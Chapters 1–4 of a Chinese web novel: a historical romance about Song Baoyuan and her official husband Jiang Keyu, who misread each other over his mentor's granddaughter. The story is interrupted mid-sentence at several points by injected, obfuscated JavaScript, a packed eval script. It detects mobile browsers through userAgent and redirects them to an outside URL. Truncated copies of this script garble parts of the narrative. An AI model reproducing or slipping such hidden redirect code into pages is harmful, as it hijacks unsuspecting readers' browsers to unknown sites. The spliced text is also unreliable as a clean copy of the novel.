《前夫怎变偏执狂》 1. 仙女 傍晚的余晖洒落屋檐,为阶柳庭花笼罩一层朦胧的光辉。 偌大的府邸,布有亭台楼阁,观有小桥流水,古朴自然,美不胜收。 忽的,从屋里飞出一只彩色布老虎,紧接着传出急促的脚步声。 瞧着五岁模样的小男孩穿锦衣,带金锁,生龙活虎地跑出屋子,脸上挂着灿烂又狡黠的笑容。 他的两条腿倒腾得飞快,路过时顺手捡起布老虎,一个劲地往前冲。 “小少爷,你慢点!”年轻姑娘尖细的惊呼几乎穿过整个庭院。 但小男孩不仅没收敛,反而更顽劣,回头将手里的布老虎往追他的两个丫鬟身上一砸,又狂奔着,穿行走廊。 “哎哟!可别摔了!” 慢一步出门的奶娘怀里还抱着个粉雕玉琢的女娃娃,不好放开步子去赶,只能小碎步干着急。 女娃娃手里攥着拨浪鼓,“咯咯咯”的咧嘴笑。 “小少爷!” 生怕小少爷磕了碰了,在院中浇花的家丁们闻声,忙上前帮忙。 但正是调皮捣蛋的年纪,越多的人追,小男孩便越起劲。 直到…… “江承佑!” 没注意,跑到了爹娘卧房门口。 听到熟悉的声音严厉地唤了他的大名,小男孩立刻像被抽走了灵魂般僵在原地,低着头一动不敢动。 “郎君,夫人。”终于追上来的两个丫鬟连忙见礼,气喘吁吁。 屋内,长身玉立的男子模样俊朗,肩宽腰窄,身着暗青刺绣锦袍。腰扣白玉,坠着玉穗与香囊。 在他身前,着月白半袖裙衫的貌美女子,正在为他整理衣襟。 “爹,娘。” 江承佑扁了扁嘴,叫爹时怯怯,叫娘时却截然不同,显然多了底气,且携带几分撒娇的尾音。 宋宝媛听出了儿子的求救信号,但眼前的夫君眉头轻蹙,显然不满,她便没有贸然出声。 “你若这样顽皮,今日就不要出门了。”江珂玉沉声道,一双瑞凤眼,不怒自威。 “我……”江承佑不服气地用脚尖摩擦地面,不敢反驳。 只好憋出水汪汪的眼睛,带着哭腔喊:“娘!我要去官渡河放花灯,你答应我和妹妹的!” 宋宝媛哑然失笑,不紧不慢地回身去取了披风,放到夫君手里,“好了,你快些出门吧,可不能让老师等你。” “我怕你降不住他,何况今日花朝节,外头人多容易走丢。”江珂玉略加思索,“还是等我过两日得闲,再带你们出门踏青吧。” 江承佑听了愈发难过,委屈巴巴地喊:“娘。” 宋宝媛眉目含笑,温柔平和,“我可不想做言而无信的娘亲,况且承承也答应我了,出了门会乖乖的。他也一定不会言而无信的,是吧,承承?” “嗯!” 江承佑睁着大大的眼睛,捣蒜一样点着头。 江珂玉无奈,沉默半晌,无声叹了口气,叮嘱道:“那你记得多带几个家丁,早些回家。” “好。” “娘!”黏糊糊的喊声从外头传来,奶娘抱着女娃娃姗姗来迟。 宋宝媛抬眸看去,语含宠溺,“岁穗也来了。” 江珂玉阔步上前,从奶娘手里接过女儿,抱在怀中拍了拍背。 宋宝媛也走出门,牵起儿子的手,并安抚般轻轻摸了摸他的脑袋。 “爹爹陪我们去放花灯吗?”江岁穗环抱爹爹的脖颈,贴着他的脸期待地问。 江珂玉的语气柔了几分,却也不是很明显,“爹爹今日有事要忙,你和哥哥出门,都要听娘亲的话,知道了吗?” “哼。”江岁穗听了立刻扭头,投向娘亲的怀抱,“爹爹总是有事要忙!不喜欢爹爹了!” 江珂玉愣了愣。 “岁穗乖。”宋宝媛见状忙哄道,“不可以这样说,爹爹又不是故意的。” 江岁穗依旧撅着嘴。 “你若是不高兴,就……罚爹爹今晚必须早些回来,给你讲故事,哄你睡觉好不好?” 江岁穗的眼珠子转了转,似有动摇。 江珂玉失笑,顺着台阶附和道:“好,爹爹今日一定早些回家,哄岁穗睡觉。” 江岁穗昂着脖子,摇着拨浪鼓,颇显勉为其难,“那好吧,那我还喜欢爹爹。” “岁穗真乖。”宋宝媛抬手拨了拨女儿额前的碎发,不忘夸道。 一家人站在门口说说闹闹,直到备好车马的小厮跑进来,在拱门前大声提醒,“郎君,再不走要误时辰了。” “去吧。”宋宝媛侧目,轻声道。 “那你们在外一切小心,有事便差人来找我。”江珂玉一边叮嘱,一边将怀里的女儿交还奶娘。 宋宝媛点了点头,柔声催促,“快,和爹爹说再见。” “爹爹再见!”江岁穗高高摆手。 “爹爹再见。”江承佑有模有样地行礼。 江珂玉朝夫人颔首,转身离去。 姿态如松,步伐沉稳。 宋宝媛站在原地,静静目送他出府,在他的身影彻底消失后,才抬头看了一眼天色。 好一会儿,她才垂眸,满含笑意道:“好了,都去乖乖换衣服,我们也要出门了。” “好!” 江承佑又撒欢似的跑了,奶娘抱着江岁穗紧随其后。 * 不到半个时辰,夜幕悄悄降临。 今日花朝节,街道上行人众多,因而马车行进缓慢。 尤其官渡河两岸,各色商贩,各路游人,来来往往络绎不绝。 河中画舫众多,既为赏景,也为景观。 “咱们江少卿可终于来了!” 倚靠船栏,着绯衣的男子把玩着合起的折扇,一双桃花眼颇显轻佻,姿态慵懒,自成风流。 他名唤高洛书,盯着此刻才上船的江珂玉,满满的阴阳怪气。 另一个着雪青色长袍的男子从船舱走出,搭上他的肩膀,亦调笑道:“咱们江少卿可是有家室的人,和你这等孤家寡人可不一样。” 江珂玉目不斜视,径直从两个损友身旁走过,进入船舱,躬身行礼,“见过老师。” “坐吧,今日不必拘礼。” 满船都是黎上书院盛老的得意门生,隔着屏风,还有一桌家眷。其中包括学生妻女,还有盛老的嫡孙女。 “江珂玉,你来最晚,得自罚三杯啊!”高洛书跟进船舱,拎起酒壶酒杯,给他满上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318978|167384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 听到这声动静,屏风后的女眷们纷纷抬头,却不见这位江少卿的家眷过来。 “听说……”女眷们压低声音,“江少卿年少有为,夫人却是个拿不出手的商户女,所以从来不带她出席各种场合。如今看来,是真的了。” “不止,还是那商户女的爹挟恩持报,才有的这桩婚事。” “一杯。”江珂玉的声音传过来,打断了她们的交谈。 高洛书鄙夷,“才一杯,你糊弄谁呢?” 他挑了挑眉,“莫不是家中夫人提前交代了,你不敢多喝?” 不等江珂玉回答,他又气愤道:“都说了可以带家眷,怎也不见你带夫人来?你都成婚六年了,我都还不知道二嫂长什么样!” 江珂玉将他勾着酒壶的手推开,“这能怪我?我家中办宴,夫人可是都在的。只是某个人,我家乔迁宴时他在云州游玩,我儿子满月宴的时候他在福州游玩,我女儿满月宴的时候他在临疆游玩,我……” “好了!好了!”高洛书忙打断他,虽心虚但气焰嚣张,“我人虽然不在,礼可是一件没少。” “谁稀罕?” 两人你来我往地互呛时,常云柏挤到他们中间,一手揽一个肩膀。 他高兴道:“人到齐了,可以行酒令了,请老师出题吧!” 盛老摸了摸花白胡须,目光将众多学生扫视一圈,眸中多了几分满意的神色。 “今日花朝节,自当颂花神。” …… 虽然同出黎上书院,同出名师,但人与人之间的差别,依旧肉眼可见。 伴随着画舫徐徐驶在官渡河上,一场行酒令热闹进行。但半个时辰后,有的人酒过三巡,在船头扶栏呕吐。有的人寥寥几杯无甚影响,站立船头,气定神闲地观景。 前者高洛书,后者江珂玉。 “呕!”高洛书吐到虚脱,早知有这茬,就不在行酒令前贪杯了,不然也不至于如此狼狈。 蹲在地上缓了有半刻钟,他才慢腾腾站起来。双手撑在船栏上,昂首仰面,意图让凉风把自己吹醒。 “你还行不行?” 江珂玉侧目,语气无波无澜,却让高洛书听出了几分嘲讽。 “我当然行了!再来十壶都不是问题!”高洛书背对着他,强撑着站直了,举着手语气高亢。 江珂玉见其摇摇晃晃,明明站都站不稳,还要豪言壮语,不肯落了面子。 当真滑稽,令他笑出了声。 竟敢嘲笑他,高洛书气愤地转过身,却愣住。 “二哥。” 身后女子声音轻唤,江珂玉转身去瞧,因而并未察觉高洛书的异样。 高洛书目光呆滞地望向岸边,耳鬓通红,低低呢喃,“仙女欸。” 岸边长满青苔的台阶上,有一着月白裙衫的女子提灯而立,眉目如画。 在她身后,是喧闹涌动的人群,在她身前,是涟漪不断的河面与各式随波逐流的花灯。这些皆为她的陪衬,她站在那里,青丝与裙摆随风清扬,犹若空谷幽兰。 她忽而抬眸,望向画舫,仿佛静止,又目光灼灼。 高洛书睁大了眼睛,呼吸一滞,莫名紧张。 “仙女、看我了欸。” 2. 压倒 官渡河的边缘,布满五颜六色的花灯。它们随着水流的方向远去,不知将人们的愿望带往何处。 “这个是承承的。”宋宝媛将两张红纸分给两个孩子,“这个是岁穗的。你们想好要许的愿望,娘亲替你们写好,你们再自己放花灯,好不好?” “好!” 两个孩子齐声应道。 站在岸边,生怕他们一个没站稳摔河里,左右都是丫鬟和家丁看着。 “夫人自己也许一个吧。” 站在宋宝媛身侧的婢女巧月一边道,一边将纸笔递了过来。 宋宝媛顺手接过,却迟迟没有动笔。 仔细想来,她并没有强烈的愿望。 富甲一方,夫君体贴。儿女双全,家宅安宁。她的生活,已经算得上美满。 “不过,恐怕满京城,都寻不到几个比夫人过得舒心的。”巧月感叹道,“夫人若是实在许不出愿望,也可以替郎君许一个。” 此话醍醐灌顶,宋宝媛立刻想起夫君平日里回家的疲惫来。 她的夫君江珂玉,年纪轻轻已是大理寺少卿,外表风光,内里操劳,总是忙到很晚。若掺和进复杂的案情,还会身陷危险之中。 是该为他许个愿望,宋宝媛想,那就希望他能诸事顺利,能……多笑笑吧。 她认真写好,又挑了一盏最漂亮的荷花灯,将纸条折入其中。提着灯走下台阶,她小心将花灯放入河面,并站在岸边,看着它飘远。 忽然花灯上蒙上一层阴影,是有画舫从旁经过。 宋宝媛无意中抬头看去,倏忽愣住。 船头所站立的男子,面庞俊朗,身姿挺拔,气质尤为清贵,不正是她的夫君? 而她的夫君此时看向的,是个俏生生的姑娘。 她也认得,是夫君的恩师盛老,最宠爱的孙女。 花灯许愿还真灵,宋宝媛眸光微滞。她的夫君此刻的笑容,果真是、比平日要开怀几分。 * “二哥。” 江珂玉循声看去,见到一同从船舱里走出来的常云柏和盛绮音,笑意更甚。 歪了歪头,示意他们去看高洛书那傻样。 高洛书从他们中间穿过,趴到另一侧船栏,昂着脖子张望,“这破船开那么快干什么,我都看不着仙女了。” “你看的最好真是仙女,不是良家妇女。”常云柏嗤笑道,没有管他,只当他是喝糊涂了。 江珂玉摇了摇头,问道:“你们怎么也出来了。” “小四刚刚问我,老师大寿将至,准备什么寿礼好。”常云柏敲了敲脑袋,“正好你们俩在外面,想着过来一起商量商量。” 他口中的小四,是指此刻身着天青色宽袖裙衫,站在一旁颇为娇美的盛绮音。 她是盛老的孙女,曾经女扮男装混迹黎上书院,与眼前这三个结下深厚友谊。哪怕后来恢复了女儿身,也没有影响感情,依旧称兄道弟。 “你们有什么想法吗?”江珂玉问着,伸手将高洛书拉回,以防他迷迷糊糊翻进河里。 盛绮音将双手交缠在身后,笑着道:“我倒是偶然中听他提及,馋千仟阁那口酡颜醉。之前祖父尝到的酡颜醉,是二哥你送的,所以……” 江珂玉会意,“这是小事,既然老师喜欢,我再差人送去就是。” “我的意思是,希望二哥能私下帮我买两坛,好让我当寿礼送给祖父。”盛绮音言语俏皮,“至于二哥自己要送什么寿礼,得自己想哦。” 江珂玉点点头,只当是寻常小事,随口应下,“好。” “二哥爽快,既然如此,我的问题就解决了。”盛绮音眨巴眨巴眼睛,“你们继续伤脑筋吧。” 她说完,便脚步轻快地回了船舱。 常云柏眯起了眼睛,搭上江珂玉的肩膀,“我知道你祖上给你留了不少产业,但酡颜醉欸。千仟阁一个月只卖五坛,价高者得,一坛能被哄抬到五千两。你不会以为,她能有一万两给你吧。” “无妨。”江珂玉并不在意,“反正都是送老师的。” 常云柏抿了抿嘴,凑到他跟前,小心翼翼问:“既然、你这么大方。那你介意……送大哥我一坛尝尝吗?” “滚。” “好嘞。” * 夜色沉沉,万籁俱寂。 江府的小厮提着灯笼上前相迎。 散了画舫游会,赶回家的江珂玉将披风递给小厮,快步往内院走去。 问道:“小姐和少爷睡了吗?” 他进府后,小厮便将府门彻底关上,快步追上来回答,“夫人哄着睡下了。” 江珂玉脚步愈发地快,直到靠近兄妹俩的房间,才放轻放慢。 他在门前停下,听了会儿动静才轻轻将门推开。 屋里灯火通明,暖黄的光将床榻笼罩。 两个乖乖已经陷入酣睡,在床上歪歪斜斜的呈大字状,还有一点呼噜声,分外可爱。 宋宝媛屈着一条腿坐在床榻边缘,又轻又慢地拍着江岁穗的肚皮。 她只着白色寝衣,身形单薄。三千青丝披落肩胛与背,温婉动人。 听到房门推动的一点咯吱声,宋宝媛回头看去。 她把声音压得很低,几乎只有气息。 “你回来了。” “嗯。” 江珂玉缓缓走近,在她身边侧坐,顶替她拍着江岁穗的肚皮,又把盖在江承佑身上的被褥往上提了提。 “我以为他们还没睡呢。”他轻声道。 宋宝媛低眉垂眼,“今日玩累了,所以睡得早些。” “玩得高兴吗?” “高兴的。” 宋宝媛微不可察地叹了口气,“只是你今日没有哄岁穗睡觉,她明日定会起大早来闹你的。” 江珂玉失笑,“无妨。” 不知是不是错觉,他从夫人的话里听出几分疲惫来,似乎有些情绪低落。 “夫人今日应当也累了,早些回去休息吧。” 宋宝媛点了点头,想要下榻,没注意自己一直屈着的右腿麻了。一起身,差点摔地上。 幸好江珂玉反应快,扶了她一把。两人默契地看向床上的儿女,生怕刚刚的动作将他们惊醒。 见他们依旧睡得香甜,两人不约而同地松了口气。 “腿麻了。”宋宝媛低声解释。 江珂玉默不作声,将她横抱起,一同离开。 夫人原本纤细,生育过后丰盈了些许,落在手里,也比从前柔软,总是让他产生揉捏的冲动。 虽然是夫人,但总觉冒昧,所以他也只是想想。 宋宝媛双手勾其脖颈,目光总是不经意的流连夫君的脸。 被他发现,连忙转移他的注意,“你、喝酒了?” “推拒不了,所以喝了几杯。”以为她是不喜欢这味道,江珂玉忙道:“待会儿我去洗澡,你先睡,不用等我。” “嗯。”宋宝媛欲言又止。 尽管努力不去想,但有的事情和画面控制不住地出现在脑海。 想问清楚,却又不知如何开口。 江珂玉清了清嗓子,道:“过阵子老师大寿,你替我准备两坛酡颜醉吧。” “好,我明日就让巧月去千仟阁走一趟。” “嗯。” 走在前面掌灯的巧月嘴角抽了抽,倒不是因为明日多了份差事,只是觉得这样亲昵的姿势下,他们的谈话是不是太正经了一点。 待将他们送进内屋,巧月便识相地退出房间,将门带上。 江珂玉的动作轻缓,单膝跪在榻边,将夫人放下。 但夫人还勾着他的脖颈,没有松开,所以他也没有站直,保持着俯身的姿势。 主屋的烛火没有儿女屋里的亮,明明灭灭,令床榻里侧晦暗不明。 许是喝了一点酒的缘故,江珂玉想,他的意识有些混乱。虽然眼前的夫人一如既往的美丽,但此刻眉睫忽闪,格外惹人怜惜。唇瓣红得像白日里剥开的石榴,令人垂涎。 “咳。”他轻咳了一声。 宋宝媛回过神,连忙松开他。 “我去洗澡了。” “嗯。” 江珂玉想,如果洗完澡回来,夫人还没睡的话,或许可以做点什么。 宋宝媛心烦意乱,在他沐浴回来前翻来覆去,在听到他回来的动静后马上装睡。 虽然闭着眼睛,但他的一举一动都十分清晰。 比如他何时吹了灯,何时躺到她身侧,睡得如何板正。 两人都挨到很晚才睡着,期间一动不动,以免惊扰到对方的睡意。 * 清晨,“哒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江承佑歪着脑袋,往娘亲那边倒去,“是妹妹让我来救她的。” “哼!” 挣脱束缚的江岁穗像脱了缰的野马,在床上又蹦又跳,“爹爹是大骗子,就不要大骗子睡觉!” 江承佑借机生事,同妹妹一起撒欢,抱起枕头当武器,踩在被褥上再甩剑招。 “好、好啦!”宋宝媛的声音被他们吵得几乎听不见。 自知理亏,江珂玉被他们逼到角落也没有斥责。 江岁穗学着哥哥的样子,蹦去床头抱枕头,但整个床榻都因江承佑在震动,她没有重心,突然就向外倒去。 宋宝媛和江珂玉骤然心惊,忙不迭动身抱她。 却不料撞在了一起,尽管额头撞得生疼,两人也顾不上。一个抬头,一个仰面,见江岁穗只是跌坐在榻边,没有摔下去,不由得松了口气。 回过神来,江珂玉才发现自己将夫人压在了身下,且红了额角。 他本想起来,但两个孩子一左一右,甩着枕头砸他。 “打骗子!打骗子!” 江珂玉哭笑不得,由着他们。 宋宝媛抬手,护在他头顶,“好了你们两个!” “大骗子!大骗子!”江岁穗不依不挠。 “无妨。”江珂玉垂首低声道,“让她出气吧。” 宋宝媛微怔,四目相对,又各自不自然地挪开视线。 除了例行房事,这似乎是第一次,以这样没有距离的姿势,让眉目挨得如此近。 身下柔软,若是将全身的重量倾覆,想必十分舒坦…… 江珂玉匆匆将脑海里冒出的无礼念头甩掉,双手撑在两侧,支起自己胸膛。 宽松的寝衣下坠,宋宝媛目光所及,从夫君的锁骨,到劲瘦的腰腹,一览无余。 耳鬓泛红,她不得不借揉额头的动作,挡住自己半张脸。 好像……有什么东西抵到了她,若有若无,多半是错觉。 宋宝媛眉睫忽闪,有些难为情,她怎么能想这些。 会失态的。 皆在懊恼。 3. 书房 为了弥补昨日过错,江珂玉耐心陪着两个孩子,直到他们玩累了,才换上官服前去上值。 幸好今日无要事,晚些也无妨。 宋宝媛前脚送走他,后脚成摞的账本就送进了屋。 她想起昨日夫君交代她的事情,便唤巧月去取酒。 千仟阁的酡颜醉又贵又难得,不过好在是自家产业,只是一句话的事。 婢女点香,奉茶,敞开房门,随后退至床榻边,守着累得睡着了的小少爷和小小姐。 宋宝媛在案桌前翻阅账本,女使巧银侍墨。 底下还有一堆人拨着算盘。 宋家从商,是以酿酒发家。到宋宝媛祖父那辈,才开始涉猎越来越广。 后来分家,父亲从祖父手中接手的生意全都成了宋宝媛的陪嫁,由她打理至今。 再加上江家原本的产业,真忙起来,整日都不够。 过了晌午,巧月不仅带回了酡颜醉,还去了京城最有名的糖水铺,给家中小主子买了桂花酥酪回来。 “夫人早上也没怎么吃呢。”巧银将酥酪递来。 宋宝媛刚刚接过,还没来得及尝一尝,又听见外面门房来报。 “夫人,盛姑娘来了。” “哪个盛姑娘?”离门口近的巧月多嘴问了一句。 宋宝媛眸光微滞,不过很快恢复如常。 能来家中造访的盛姑娘,还能有哪个呢? 她淡定地喝下已然舀起的一勺酥酪,觉得有些酸,不合口味,便将整碗推置一旁。 “让她去前厅稍等。” “她说她没时间等,还说是郎君让她来取一份遗落在家的案卷,催我们赶紧带她去郎君书房。” 巧月先生了气,“她一个外人,凭何进郎君书房!” 郎君的书房,额外吩咐过谁都不许随便进去。哪怕是夫人,也从未在郎君不在的时候私自进入。 宋宝媛用帕子擦了擦嘴,“她可有凭证,代表是郎君要她来的?” “小人也问了这话……”前来通报的门房有些犹豫,“结果她反问我,凭她和咱们郎君的关系,还需要凭证?” 门房说着,又有婢女小跑过来。 “夫人,盛姑娘一直催我们带她去郎君书房,还说了耽误了要紧事,恐担待不起。” “若真是要紧,郎君定会派六安和阿启回来的!”巧月质疑道。 六安和阿启是自小跟在江珂玉身边伺候,也是最亲近和值得信任的。 宋宝媛明白这个道理,但大理寺的事情耽搁不得,万一六安和阿启也是被急事绊住了手脚呢? 她这样想着,已然动身。 江府前厅,唯有盛绮音和自己的贴身婢女。 因为谁来都要被她们催着带路去书房,但又做不得主,所有江府的下人都退下了。 盛绮音的贴身婢女桃枝颇为气愤,“他们江府的人到底怎么回事,都说是要紧事,竟然还把我们晾这?” 盛绮音背身站在门口不语,显然也有些不高兴。 “江少卿果然还是被他这个夫人耽误了,当初若不是被那家人挟恩持报,现在这府里的女主子就是小姐你!江少卿也绝不还只是个大理寺少卿。” 门扉后,宋宝媛的脚步顿住。 气恼的巧月要上前理论,被她伸手拦了下来。 宋宝媛朝把怒火写在脸上的巧月摇了摇头。 毕竟……她们那话也没错。 宋宝媛六岁的时候,她的父亲将九岁的江珂玉带回了家,说他爹娘已经不在了,以后他就住在自己家。 同一屋檐下,她叫了江珂玉九年的哥哥。 在宋家不遗余力的栽培下,宋宝媛及笄那年,十八岁的江珂玉科举中榜,又逢恩师提拔,顺利步入仕途,风头无两。 同一年,宋父病重,唯独放心不下唯一的女儿。思来想去,能够放心托付的,只有自己养了九年的江珂玉。 可那时无人不知,江珂玉是盛老看中的孙女婿,所以那么多学生中,率先提拔了他。 宋父知道,宋宝媛也知道。 但宋父还是说,想要江珂玉迎娶宋宝媛。提出的只是请求,但他知道,以江珂玉的品性,不会拒绝。 “沾上他们家,江少卿也真够倒霉了,这辈子都毁了。”桃枝忿忿道。 “好了。”盛绮音眉头轻蹙,微微斥责,“这是哪你不知道吗?” 一门之隔,宋宝媛竟不知自己该不该露面。 桃枝吐了吐舌头,怕自家小姐生气,小声揶揄道:“小姐说想要,纵是价值万两的酡颜醉,江少卿也是眼睛都不眨的就应了。莫不是……还对小姐你念念不忘?” “你说什么浑话?”盛绮音叉腰,“我与二哥是好兄弟,自然是不计较那么多。” 桃枝偷笑,抛来一个意味深长的眼神。 “你个小妮子!” “我错了我错了,小姐恕罪!” 一头调笑,一头沉默。 原本愤怒的巧月此刻有些不知所措。 宋宝媛头脑空白了一瞬间,身体也跟着僵了,本要迈开的腿像灌了铅。 良久,她回过神,松开了不知何时握起的拳头。 她扯了扯嘴角,勾起礼貌的笑容后,才迈开脚步。 “盛姑娘久等。” 盛绮音听到声音,眉头紧锁,声音扬起,“宋姐姐你可算来了,二哥托我来取一份特别重要的案卷,当真是要紧,你快带我去二哥的书房吧。” “可是……”宋宝媛被她抓住了手,感到些许不自在,“夫君的书房不让外人进的。不如盛姑娘告诉我,要取什么案卷,我去给你拿来。” 盛绮音神色为难,“不是我瞧不起宋姐姐你,这大理寺的东西,你怕是弄不明白。既然二哥让我来取,应当是不把我当外人的吧。” “但是宋姐姐你别误会!”她又急道,“我与二哥当真只是好兄弟,他没把我当女的,我也没把他当男的,你莫要多想!” “我没有多想。”宋宝媛眉目平静,语气淡淡。 “那就好。”盛绮音面上像是松了口气。 “大理寺的案卷,为何是盛姑娘来取?”宋宝媛诧异,话赶话道,“我并非不信任盛姑娘,但盛姑娘你也说了,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“原来如此,我差点以为,是宋姐姐你不喜欢热闹呢。”盛绮音恍然大悟般点点头,又热情邀请,“那过阵子我祖父大寿,你可一定要跟二哥一起来。二哥若再不带你,我可饶不了他!” 宋宝媛只是笑笑。 刚成婚的时候,她知道江珂玉的那些朋友不喜欢她,对她“横刀夺爱”颇有微词,所以从来不掺和他们的聚会。 久而久之,便成了习惯。 穿过走廊,路过一棵槐树,便到了江珂玉的书房前。 今日打扫的婢女恰好从里面走出,走到来人忙行礼,神色讶异中透露着几分古怪,“夫人怎么来了。” 虽然郎君没有不准夫人进出书房,但夫人从来不会自己过来的。 “郎君有份案卷落在书房了,你可有瞧见?”宋宝媛问道。 婢女愣了片刻,摇了摇头,见夫人越过她走进书房,顿时慌了神,“夫、夫人!” 宋宝媛本要推门而入的手顿住,回头问:“怎么了?” “那个……”婢女欲言又止,飘忽的目光从盛绮音身上掠过。 最终,只是低头道:“夫人小心门槛。” 宋宝媛心中存疑,但眼下先找那破案卷要紧。 她回身推门,跨过门槛,堪堪往里走了几步,便明白了婢女为何闪烁其词。 整洁的厚重案桌上,平铺开了一张画卷。 从窗边吹来的风捧起画卷的一角,渗入的阳光更是为画中娇俏的美人踱上光辉。 “咦?”盛绮音扬声诧异,“这怎么有我的画像?” 她的语中含笑,又带着嗔怪,“二哥莫不是又在拿我练笔吧!” 宋宝媛怔然,久久未有反应。 4. 妹妹 天色渐暗,走廊里上演了一场拉锯好戏。 气冲冲的巧月直奔书房,一脸着急的巧银咬牙拽着她往回走,纠缠了足足半刻钟。最后还是姚嬷嬷出面,和巧银一同将巧月拽回了屋。 姚嬷嬷是宋宝媛的奶娘,看着她长大,一直跟在她身边。是整个后院,除了宋宝媛以外,说话最有份量的。 进屋前,姚嬷嬷先将附近的婢女屏退,一进屋,又将房门紧闭。 巧银去点了灯,暖黄的光照亮了桌边宋宝媛看账本的侧脸。 “你们都拦我作甚?”巧月生气道,“我去撕了那画又能怎样?” “好了!”姚嬷嬷蹙眉斥道。 收了火折子的巧银忙跑到巧月身边,扯了扯她的袖子,用眼神示意她不要再说了。 可巧月憋不住,“难道就这么忍了?” 四下沉默。 姚嬷嬷无声叹了口气,走到宋宝媛身侧,拍了拍她的手。 “我没事。”宋宝媛反过来安慰道。 屋中依旧不算明亮,藏住了她眸眼中几分黯然。 她这样平静,姚嬷嬷愈发心疼,“小姐啊,现在屋里没外人,老奴也就直说了。” “小姐和姑爷这门婚事,的确是我们理亏在前。” “理亏什么理亏?”巧月不忿地打断道,“姑爷自己点的头,拜的堂,有谁把刀架他脖子上了吗?” 巧银本要捂她嘴,听到这话,心中压着的委屈也被激了出来,“说我们挟恩持报,那他们呢?姑爷那些朋友,尤其是盛家的,因着姑爷大方,劈出去咱们府里多少银子,占了多少便宜!但凡夫人手紧一点,他们的日子都没这么好过!” 姚嬷嬷无奈,“并非老奴不向着小姐,是事实摆在这里,若将这些摆到台面上来说,谁的脸上能好看?本就是口夹生饭,都想着熬几年总能熬熟。可如今没熬熟也下了肚,再后悔已经来不及。” “所幸尚能饱腹,不去嚼就不会恶心。以姑爷的品性,他再留恋旁人,也就到这,不会再有出格的。如今一切都好,也没必要为了这点事情惹得大家都不痛快。最重要的,是小少爷和小小姐。父母不和,最痛苦的,肯定是孩子。” 宋宝媛神色如常,只是低眉敛目,盯着交叠的手,“我明白的,嬷嬷不用担心。” 她忽然想起多年前,阿爹病卧床榻时,也是这样抓着她的手,安抚她的情绪。 阿爹说:“爹爹只能帮你到这了,以后你们就好好过日子。” 她哭得惶然又无助,“可是哥哥不喜欢我。” 那是阿爹最后一次对她露出笑容,肯定地告诉她,“我们宝媛那么好,日子过着过着,他就会喜欢你的。” 所以,是日子过得不够久,还是……她不够好呢。 “就当,什么都没发生过吧。”宋宝媛轻声道,抬眸瞥了一眼两个婢女,“你们两个,也不许再提。” 巧月不服气,巧银也憋闷,但还是顺从地应下。 “是。” * 院子里,江承佑在带着江岁穗踢蹴鞠。 奶娘站在一旁目不转睛地盯着,生怕自己一个不留神,孩子又跑不见了。 江岁穗在哥哥的指挥下屁颠屁颠去捡蹴鞠球,抱起一抬头,看到朝自己走来的红色身影,立马把球丢了,直奔那人而去。 “爹爹回来啦!” 江珂玉在她即将扑来时蹲下身,抱起她后继续往里走,“今天在家乖不乖?” “我超级乖的!”江岁穗扬声强调。 江珂玉忍俊不禁。 “爹爹今天给我讲睡前故事吗?” “嗯,如果你待会儿可以自己吃晚饭,不用娘亲喂,爹爹就给你讲睡前故事,好不好?” 江岁穗摸了摸耳朵,似乎在思考这笔交易划不划算。 想了好久,歪着脑袋偷笑,“好,拉勾。” “拉勾。”江珂玉配合和她勾了勾小指头。 江承佑捡回自己的蹴鞠球,见到爹爹,不仅没相迎,还躲进了屋内。 江珂玉看在眼里,摇了摇头,没有在意。 屋里已经摆好了饭菜,江珂玉将江岁穗放置到桌边,抬头环顾,“夫人呢?” “夫人刚刚看账本,不小心泼了墨,去了里屋换衣服。”守在桌边的婢女答道。 江珂玉点了点头,弯腰叮嘱,“爹爹也要换衣服,你坐在这里等一等。” 江岁穗小鸡啄米一样点着头。 江珂玉一边解着官服的扣子,一边进了里屋,恰遇宋宝媛换好衣服出来。 “回来了。” “嗯。” 宋宝媛身着素衣,仅有衣襟几支兰花作衬,素净柔美。 她自然地接过夫君递来的官服,铺开到架子上。 江珂玉换了件较为舒适的暗青长袍,随口问道:“我回来时,江承佑见我跟老鼠见了猫似的,他可是又惹祸了?” “没有。”宋宝媛背对着他,“只是你老凶他,他当然怕你了。” “我也不是故意要凶他。”江珂玉盯着夫人的背影,为自己系着腰带,“只是他这般顽劣,我若不严厉些,日后不知要纨绔到何种程度。” “砰!” 不知何物的落地碎裂声隔老远传了过来,夫妻俩对视一眼,一同往外走去。 桌边等着吃饭的江岁穗睁着无辜的大眼睛,显然事故没发生在这里。 “你们先吃。”江珂玉只身再往外走,“我去看看。” “嗯。” 宋宝媛没有在意,在江岁穗身边坐下,往她的小碗里夹菜。 没过多久,江珂玉便回来了,后头跟着耷拉脑袋的江承佑。 江承佑跨过门槛便不再往前,面对墙壁站着,老实巴交地扣着手。 “怎么了?”宋宝媛见他如此模样,不由得皱起了眉。 一同跟来的奶娘回答道:“刚刚小少爷在屋里玩蹴鞠,不小心打翻了今早巧月姑娘拿回来的两坛酡颜醉,郎君罚了小少爷面壁思过。” 一万两银子就这么作水洒了。 “江承佑,我是不是告诉过你,不可以在屋里乱丢乱扔。”江珂玉厉声训斥,“那么大的院子不够你玩吗?你可知道你又嚯嚯了什么?” 江承佑不敢吱声。 嚯嚯了他要送“好兄弟”的酒吗?宋宝媛不自觉捏起了拳头。 “不过两坛酒。”她轻声道,“过来先吃饭。” 江承佑斜瞄着爹爹的神色。 “站好!”江珂玉不留情面,回头语气立刻柔了几分,“你和岁穗先吃。” 